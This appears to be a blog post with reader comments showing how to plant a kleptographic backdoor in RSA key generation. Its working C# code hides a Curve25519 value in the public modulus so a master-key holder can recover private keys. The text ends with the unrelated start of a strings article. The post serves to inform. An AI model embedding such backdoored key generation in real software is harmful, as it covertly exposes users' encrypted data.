Backdoor in a Public RSA Key

Information Security

Hello, %username%!

When I saw how it works, say that I was shocked is to say nothing. It’s a pretty simple trick, but after reading this article, you will never look at the RSA as before. This is not a way to hijack RSA, but something that will make your paranoia greatly swell.

So, imagine that you have access to the generator of an RSA key and you want to give someone the opportunity to get the private key without any factorization and other quantum computers. What we need to do?

I’m going to use C#, BouncyCastle and Chaos.NaCl (this library implements Curve25519).

1). PRNG

We need a PRNG which is initialized with a secret value. I’m going to use AES in CTR mode.

using System;
using System.ComponentModel;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Security;
namespace RsaBackdoor.Backdoor
{
    class SeededGenerator:IRandomGenerator
    {
        private readonly AesFastEngine _engine = new AesFastEngine();
        private readonly byte[] _counter = new byte[16];
        private readonly byte[] _buf = new byte[16];
        private int bufOffset = 0;
        public SeededGenerator(byte[] key)
        {
            _engine.Init(true, new KeyParameter(key));
            MakeBytes();
        }
        private void MakeBytes()
        {
            bufOffset = 0;
            _engine.ProcessBlock(_counter, 0, _buf, 0);
            IncrementCounter();
        }
        public void IncrementCounter()
        {
            for (int i = 0; i < _counter.Length; i++)
            {
                _counter[i]++;
                if (_counter[i] != 0)
                    break;
            }
        }
        public void AddSeedMaterial(byte[] seed)
        {
        }
        public void AddSeedMaterial(long seed)
        {
        }
        public void NextBytes(byte[] bytes)
        {
            NextBytes(bytes, 0, bytes.Length);
        }
        public void NextBytes(byte[] bytes, int start, int len)
        {
            var count = 0;
            while (count < len)
            {
                var amount = Math.Min(_buf.Length - bufOffset, len - count);
                Array.Copy(_buf, bufOffset, bytes, start + count, amount);
                count += amount;
                bufOffset += amount;
                if (bufOffset >= _buf.Length)
                {
                    MakeBytes();
                }
            }
        }
    }
}

2). Let us recall about great Curve25519, namely the fact that any 32-byte sequence is valid for its private key. At the same time, the public key is always 32 bytes also. Let’s pre-generate the master key and assign it to a constant variable:

private const string MY_PRIVATE_STR = "BDB440EBF1A77CFA014A9CD753F3F6335B1BCDD8ABE30049F10C44243BF3B6C8";
private static readonly byte[] MY_PRIVATE = StringToByteArray(MY_PRIVATE_STR);

For each generated RSA key pair we will also generate a random key pair of Curve25519 and then calculate the shared secret from the public key of the pair, and our private key. This secret is the key to PRNG from step 1.

Seed generation for PRNG:

private void MakeSeedAndPayload(out byte[] seed, out byte[] payload)
{
    var rnd = new SecureRandom();
    var priv = new byte[32];
    rnd.NextBytes(priv);
    payload = MontgomeryCurve25519.GetPublicKey(priv);
    seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
}

Curve25519 public key, which we will use to calculate the seed is a payload. We will try to put it into the RSA public key.

3). Generate RSA key pair by using PRNG and our seed.

var publicExponent = new BigInteger("10001", 16);
var keygen = new RsaKeyPairGenerator();
keygen.Init(new RsaKeyGenerationParameters(publicExponent, new SecureRandom(new SeededGenerator(seed)), 2048, 80));
var pair = keygen.GenerateKeyPair();

It’s worth saying that key-based RSA is always two prime numbers p and q. Their product is called «modulus» and is part of the public key. In this case, two 2048 bits numbers are searched with the help of our PRNG and then a single key pair is built from them.

4). Now, replace some bytes from p*q modulus with our payload. It makes sense to replace more significant bytes, so that they are not deleted later. 80 bytes-shifting should be enough.

var paramz = ((RsaPrivateCrtKeyParameters) pair.Private);
var modulus = paramz.Modulus.ToByteArray();
Replace(modulus, payload, 80);

5). We now have a new n’ modulus and need to regenerate the remaining parameters, taking n’ into account:

5.1). Calculate new q’. We have no idea what it’s gonna be like on the current stage, but it’s not terrible:

q' = n' / p 5.2.). Look for a new prime number basing on q’. When we find it, least significant bits will be deleted. But the most significant ones will remain the same. That’s exactly what we need.

var p = paramz.P;
var n = new BigInteger(modulus);
var preQ = n.Divide(p);
var q  = preQ.NextProbablePrime();

Once we have a new q, we calculate all the key-pair parameters, except p, again.

public AsymmetricCipherKeyPair ComposeKeyPair(BigInteger p, BigInteger q, BigInteger publicExponent)
{
    if (p.Max(q).Equals(q))
    {
        var tmp = p;
        p = q;
        q = tmp;
    }
    var modulus = p.Multiply(q);
    var p1 = p.Subtract(BigInteger.One);
    var q1 = q.Subtract(BigInteger.One);
    var phi = p1.Multiply(q1);
    var privateExponent = publicExponent.ModInverse(phi);
    var dP = privateExponent.Remainder(p1);
    var dQ = privateExponent.Remainder(q1);
    var qInv = q.ModInverse(p);
    var priv =  new RsaPrivateCrtKeyParameters(modulus, publicExponent, privateExponent, p, q, dP, dQ, qInv);
    return new AsymmetricCipherKeyPair(new RsaKeyParameters(false, priv.Modulus, publicExponent), priv);
}

As a result, we obtain a valid key pair, which has our payload in its public key — namely, the information on how to get the seed and then private key itself.

We can extract payload:

public byte[] ExtractPayload(RsaKeyParameters pub)
{
    var modulus = pub.Modulus.ToByteArray();
    var payload = new byte[32];
    Array.Copy(modulus, 80, payload, 0, 32);
    return payload;
}

Calculate the seed and do the same process one more time in order to get the private key:

public AsymmetricCipherKeyPair BuildKeyFromPayload(byte[] payload)
{
    var seed = MontgomeryCurve25519.KeyExchange(payload, MY_PRIVATE);
    return BuildKey(seed, payload);
}

Thus, by owning a Curve25519 private key, only we can obtain a private key of any backdoored RSA.

Where it can be applied? Anywhere! You’ll never prove that the key pairs issued to you by banks do not have these type of markings. It’s impossible to prove! So try to generate keys by yourself. Well, and stop using RSA, if possible.

Source code.

Thanks https://gist.github.com/ryancdotorg for the original implementation https://gist.github.com/ryancdotorg/18235723e926be0afbdd.

Comments

  1. or as humans call it:kleptography, en.wikipedia.org/wiki/Kleptography
  2. If I understood this correctly, you’re saying that someone can decrypt your data if you use private key THEY generated. But who uses private keys obtained from untrusted sources?
  3. Funnily, the very same thing was posted to /r/crypto a few days ago but in Python. And I do mean exactly the same thing. http://redd.it/2ss1v5
  4. Isn’t that exactly what author refers to at the end of the article?
  5. I wrote the Python implementation that this article is based on. I was too lazy to do a proper write-up, and I think this one is pretty good.

    This port does have some subtle implementation errors, though.

    The embedded key is the master *private* key, so anyone with this code can recover any RSA keys generated with it. I submitted a pull request on github that fixes it.

    For those asking «who uses private keys generated by untrusted sources» — this could be implemented in hardware, for example a smart card. Binaries you don’t have the source for or didn’t compile yourself could also be affected.

  6. «For those asking «who uses private keys generated by untrusted sources» — this could be implemented in hardware, for example a smart card. Binaries you don’t have the source for or didn’t compile yourself could also be affected.»

    That would apply then to any algorithm, operating system, random number generator, or anything you use in life, not just RSA. Pretty weak argument against RSA

  7. Joozek got the point. When you activate even the cheapest https server/domain you generate the private key locally with your openssl apache tool, then register the only public key to the Certification Authority.
  8. Here is good response from reddit:

    I think the idea is this one: What if your closed source Super Encryption Enterprise Edition generates keys on your own desktop, with this backdoor built in? People had always known that sort of thing could be abused, but this is a method of doing so which isn’t overly obvious.

  9. You are right…it’s not only theory: en.wikipedia.org/wiki/Dual_EC_DRBG
  10. Curve25519 public keys are distingushable from random 32 byte strings, so your backdoor is detectable. A random RSA key only has the properties of a backdoored one with prop 132.
720

Ropes — Fast Strings

Most of us work with strings one way or another. There’s no way to avoid them — when writing code, you’re doomed to concatinate strings every day, split them into parts and access certain characters by index. We are used to the fact that strings are fixed-length arrays of characters, which leads to certain limitations when working with them. For instance, we cannot quickly concatenate two strings. To do this, we will at first need to allocate the required amount of memory, and then copy there the data from the concatenated strings.